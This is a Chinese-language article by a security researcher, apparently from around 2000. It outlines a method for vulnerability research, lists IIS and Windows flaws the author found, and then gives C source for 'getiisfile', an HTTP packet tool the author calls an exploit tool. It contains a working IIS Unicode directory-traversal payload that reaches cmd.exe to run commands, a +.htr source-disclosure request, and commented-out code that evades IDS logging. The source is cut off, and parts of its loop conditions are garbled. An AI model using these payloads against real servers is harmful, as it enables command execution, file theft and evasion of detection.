漏洞研究方法总结              yange@nsfocus.com 一、前期准备,建立安全模型;   1、熟悉软件功能、功能实现,配置等;     如:IIS的虚拟目录、脚本映射;   2、根据功能,分析安全需求,建立安全模型;     IIS外挂,文件类型识别,目录正确识别;目录限制;     外挂的特点;权限不是在文件对象上,需要自己识别文件,所以需要识别出同一个文件的所有文件名;   3、根据安全需求,分析编程应注意的地方,重点检查。     IIS要对"../"进行检测,连接文件的处理,识别出正确的目录、文件名;     编程接口完全按接口实现; 二、原代码分析;   1、通读原代码;   2、安全需求里面重点需要检测的地方;   3、搜索容易有问题的函数调用,如strcpy、strcat、*printf、free、strncpy等;   4、常见一些编程问题;一些变量类型,如长度变量用int,注意一些函数非直接返回赋值问题等,一些边界条件,记数从0开始还是从1开始。   5、分析缓冲区使用的代码;   6、输入输出合法检测;     7、编程接口调用;了解操作系统、基本文件、进程调用等的特性;   8、数据结构;   9、安全领域的最小原则; 三、二进制代码分析;   1、测试;    (1)、熟悉输入输出;    (2)、根据需要编写测试程序;    (3)、输入输出各种特殊情况测试,特殊字符、长串;    (4)、安全需求需要检测的一些条件测试;   2、反汇编分析;    (1)、阅读理解反汇编代码;    (2)、安全需求检测的代码分析;    (3)、调用接口代码分析;    (4)、sub esp,xxx 代码分析缓冲;    (5)、strcpy、strcat、*printf、free、strncpy等调用分析;    (6)、输入输出检测;   3、跟踪调试;    (1)、异常的拦截分析;    (2)、一些字符串的流向,读写断点; 四、总结提高;   1、分析总结各种漏洞、漏洞原因、编程问题,补丁修补方法,编程怎么避免。   2、对漏洞归纳分类,全面考虑;     一些漏洞研究成果:   1. IIS ISM.DLL文件名截断漏洞泄漏文件内容漏洞;     http://www.microsoft.com/technet/security/bulletin/ms00-044.asp      2. Microsoft Windows 9x共享密码校验漏洞;     http://www.microsoft.com/technet/security/bulletin/ms00-072.asp   3. Microsoft IIS Unicode解码目录遍历漏洞;     http://www.microsoft.com/technet/security/bulletin/ms00-078.asp      4. Microsoft IIS CGI文件名检查漏洞;     http://www.microsoft.com/technet/security/bulletin/ms00-086.asp      5. Microsoft IIS远东版泄漏文件内容漏洞;     http://www.nsfocus.com/english/homepage/sa_08.htm 6. Microsoft IIS CGI文件名错误解码漏洞;     http://www.microsoft.com/technet/security/bulletin/ms01-026.asp 7. Microsoft FrontPage 2000服务器扩展缓冲区溢出漏洞;     http://www.microsoft.com/technet/security/bulletin/ms01-035.asp 8. Microsoft IIS ssinc.dll缓冲区溢出漏洞;     http://www.microsoft.com/technet/security/bulletin/ms01-044.asp   9. WebDav 拒绝服务漏洞;      10. WebDav 泄露文件源代码漏洞;      11. WebDav 缓冲区溢出漏洞;      12. asp.dll 缓冲区溢出漏洞;   13. shtml.dll 泄露文件源代码漏洞;   14. IIS CGI 拒绝服务漏洞;      15. IIS CGI 泄露源代码漏洞;   16. winlogon.exe 缓冲区溢出漏洞;     17. WINDOWS API 缓冲溢出漏洞;   18. Windows mup.sys 缓冲溢出漏洞;   19. apache for win32 可搜索文件漏洞;   20. apache for win32 执行任意命令漏洞;   21. php4.0 缓冲溢出漏洞;   。。。。。。 测试、漏洞利用工具   此程序只是一个简单的、方便的发包工具,当时写此程序主要用于方便对IIS、一些CGI等进行各种测试,也算为找漏洞立下汗马功劳,就是前面那篇《漏洞研究方法总结》所说的测试工具。当然此程序也可以用来作为很多漏洞的利用工具。因为程序本身很简单,没什么危害,利用PERL就可以简单的实现此功能,所以公布。   程序就是可以简单的方便的构造重复串,所以大家一看就能明白。   比如: getiisfile xxx.xxx.xxx.xxx 80 "GET /global.asa" 1 + .htr   实际上就是请求 /global.asa+.htr,显然就是+.htr的利用程序,那 “1”、“ +”就是重复1个“+”的意思。   比如: getiisfile xxx.xxx.xxx.xxx 80 "GET /_vti_bin/  6 ..%c0%af "winnt/system32/cmd.exe?/c+dir" 就是unicode的利用方法,同样DECODE等漏洞都可以使用,IDA的溢出漏洞也可以使用,当然这就只能对其进行DoS了,如果shellcode也这么输入那就太厉害了。   这个就可以方便对URL的很多域构造各种包,方便检测服务器是否处理那些地方有漏洞。里面实际还有一些别的测试,也没有删除一共给出,关心的可以看看代码意思。 /*     getiisfile ver1.0    copy by yuange  2000。05。18 */  #include #include #include #pragma comment(lib,"ws2_32") #define BUFFSIZE  0x30000 #define WEBPORT  80 #define NOPCODE  0x41 #define SENDTIMES 1 #define TIMEOVER  20000 int main(int argc, char **argv) {  char *server;  char *nopstr;  char buff0[]="TRACK / HTTP/1.1 \nHOST:";  char buff1[]="GET /global.asa";  char buff2[]="+";  char buff3[]=".htr";  char buff4[]=" HTTP/1.1 \nHOST:";  char buff5[]="\nTranslate:f\n\n";  char buff6[]="\n\n";  char  buff[BUFFSIZE];  unsigned char  recvbuff[BUFFSIZE];  struct sockaddr_in s_in;  struct hostent *he;  unsigned int i,j,nopstrnums,nopstrlong,filetypestrlong,packetheadlong;   int   l,m,k;  int   fd;  u_short port;  SOCKET d_ip;  WSADATA wsaData;  int result;  fprintf(stderr,"\n getiisfile ver1.0.");  fprintf(stderr,"\n copy by yuange (yuange@nsfocus.com) 2000.5.18.");  fprintf(stderr,"\n welcome to my homepage http://yuange.yeah.net .");  fprintf(stderr,"\n welcome to http://www.nsfocus.com .");  fprintf(stderr,"\n usage: %s [port] [GET file] [nopstrnums] [nopstr] [file type] ",argv[0]);  fprintf(stderr,"\n EXAMP1: %s www.iisfile.com 80 \"GET /global.asa\"",argv[0]);  fprintf(stderr,"\n EXAMP2: %s www.iisfile.com 80 \"GET /global.asa\" 200 + .htr",argv[0]);  result=WSAStartup(MAKEWORD(1, 1), &wsaData);  if (result != 0) {     fprintf(stderr, "Your computer was not connected "       "to the Internet at the time that "       "this program was launched, or you "       "do not have a 32-bit "       "connection to the Internet.");     exit(1);   }  if(argc <2){     WSACleanup( );       exit(1);  }  else server = argv[1];  d_ip = inet_addr(server);  if(d_ip==-1){    he = gethostbyname(server);    if(!he)    {     WSACleanup( );     printf("\n Can't get the ip of %s !\n",server);     exit(1);      }    else  memcpy(&d_ip, he->h_addr, 4);  }      if(argc>2) port=atoi(argv[2]);  else    port=WEBPORT;  if(port==0) port=WEBPORT;  fd = socket(AF_INET, SOCK_STREAM,0);        s_in.sin_family = AF_INET;  s_in.sin_port = htons(port);  s_in.sin_addr.s_addr = d_ip;  printf("\n GETIISFILE ip: %s port %d",inet_ntoa(s_in.sin_addr),htons(s_in.sin_port));    if(connect(fd, (struct sockaddr *)&s_in, sizeof(struct sockaddr_in))!=0)  {        closesocket(fd);    WSACleanup( );    fprintf(stderr,"\n connect err.");    exit(1);  }  nopstrnums=1;  if(argc>4) nopstrnums=atoi(argv[4]);  if(nopstrnums<0) nopstrnums=0;    i=TIMEOVER; // if(argc>7) i=atoi(argv[7]); // if(i==0)  i=TIMEOVER; // setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));    memset(buff,NOPCODE,BUFFSIZE); /*  strcpy(buff,buff0);  strcat(buff,server);  strcat(buff,"\n\n");   用于逃避一些IDS检测的代码,就是一个包里面包含几个请求,如果IDS功能不行,就只分析到前面一个请求。IIS对于请求“TRACK”,是一个回显处理,相当于ping,但IIS对于这个请求无LOG记录。 */  strcpy(buff,""); // printf("\nbuff:\n%s",buff); // gets(buff);  packetheadlong=strlen(buff1);   if(argc>3){   packetheadlong=strlen(argv[3]);   packetheadlong+=strlen(buff);   memcpy(buff+strlen(buff),argv[3],packetheadlong);    }   else {     packetheadlong+=strlen(buff);      memcpy(buff+strlen(buff),buff1,packetheadlong);   }  l=packetheadlong;  for(i=0; i5){       nopstrlong=strlen(argv[5]);       nopstr=argv[5];     }     if((packetheadlong+i*nopstrlong)>(BUFFSIZE-0x80)) break;          memcpy(buff+packetheadlong+i*nopstrlong,nopstr,nopstrlong);  }  packetheadlong+=i*nopstrlong;  filetypestrlong=strlen(buff3);  if(argc>6){     filetypestrlong=strlen(argv[6]);     memcpy(buff+packetheadlong,argv[6],filetypestrlong);  }  else memcpy(buff+packetheadlong,buff3,filetypestrlong);    strcpy(buff+packetheadlong+filetypestrlong,buff4); // strcpy(buff+packetheadlong+filetypestrlong+strlong(buff4),server);  strcpy(buff+strlen(buff),server);  if(argc>7&&strcmp(argv[7],"tf")==0) strcpy(buff+strlen(buff),buff5);  else  strcpy(buff+strlen(buff),buff6); /*   可以发WEBDAV的包,这个参数可以用来利用“Translate:f”漏洞   没有使用这个参数的说明,实际是自己私用。 */ // printf("\n send buff:%s",buff);  j=strlen(buff);  for(i=0;i0){      k=recv(fd,recvbuff,BUFFSIZE,0);      if(k>0){       recvbuff[k]=0;       if(argc>8&&memcmp(argv[8],"bin",3)==0){         for(j=0;j9&&memcmp(argv[9],"test",4)==0){    m=strlen(buff)+2;    strcpy(recvbuff,buff);    strcpy(buff+l+2,recvbuff+l);    for(i=0x0101;i<0x10000;++i){     *(WORD *)(buff+l)=i; /*   用于测试unicode、decode那样的编码问题,此代码是后面发现这些问题后再加的测试代码 */      printf("\n send packet %d bytes.i=0x%x",m,i);     fd = socket(AF_INET, SOCK_STREAM,0);     s_in.sin_family = AF_INET;     s_in.sin_port = htons(port);     s_in.sin_addr.s_addr = d_ip;      connect(fd, (struct sockaddr *)&s_in, sizeof(struct sockaddr_in));     k=1000;     setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(k));     printf("\n send:\n%s",buff);     send(fd,buff,m,0);      printf("\n recv:\n");     k=1;     while(k>0){       k=recv(fd,recvbuff,BUFFSIZE,0);       if(k>0){        recvbuff[k]=0;        if(argc>8&&memcmp(argv[8],"bin",3)==0){         for(j=0;j